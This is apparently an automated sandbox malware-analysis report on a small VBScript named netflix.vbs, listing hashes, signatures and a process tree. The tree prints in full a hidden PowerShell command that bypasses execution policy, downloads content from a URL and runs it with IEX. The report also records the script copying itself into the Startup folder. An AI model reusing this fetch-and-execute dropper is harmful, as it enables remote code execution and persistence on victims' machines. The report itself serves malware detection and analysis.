70d3f1296d41d516e04e53e58f812207d5f675ebb1e9686ed4b8552cb062544b

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:05

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General

Target

netflix.vbs
Size

1000B
MD5

3e4a20fd9f6d3e595eba5ab59c868cb6
SHA1

660ba0a49f0d9db61c1054c78abbce232bc8401c
SHA256

70d3f1296d41d516e04e53e58f812207d5f675ebb1e9686ed4b8552cb062544b
SHA512

85838fd9828c8fc91f0985c8f3e3b1a3c03425e3aba5517104dcbd96c63115545758a625b59bf2d6beaf225758e8af375fc774d6cc612ebef9a126732c200dd8

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.netflix.com/

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1940	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\netflix.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\netflix.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1940	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1940	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1940	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2132	2292	WScript.exe	28
PID 2292 wrote to memory of 2132	2292	WScript.exe	28
PID 2292 wrote to memory of 2132	2292	WScript.exe	28
PID 2132 wrote to memory of 1940	2132	cmd.exe	30
PID 2132 wrote to memory of 1940	2132	cmd.exe	30
PID 2132 wrote to memory of 1940	2132	cmd.exe	30
PID 2132 wrote to memory of 1940	2132	cmd.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\netflix.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://www.netflix.com/');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe
    C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://www.netflix.com/');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1940-3-0x00000000738A0000-0x0000000073E4B000-memory.dmp

Filesize
5.7MB

Download
memory/1940-4-0x00000000738A0000-0x0000000073E4B000-memory.dmp

Filesize
5.7MB

Download
memory/1940-5-0x0000000002620000-0x0000000002660000-memory.dmp

Filesize
256KB

Download
memory/1940-6-0x0000000002620000-0x0000000002660000-memory.dmp

Filesize
256KB

Download
memory/1940-7-0x00000000738A0000-0x0000000073E4B000-memory.dmp

Filesize
5.7MB

Download
memory/1940-8-0x00000000738A0000-0x0000000073E4B000-memory.dmp

Filesize
5.7MB

Download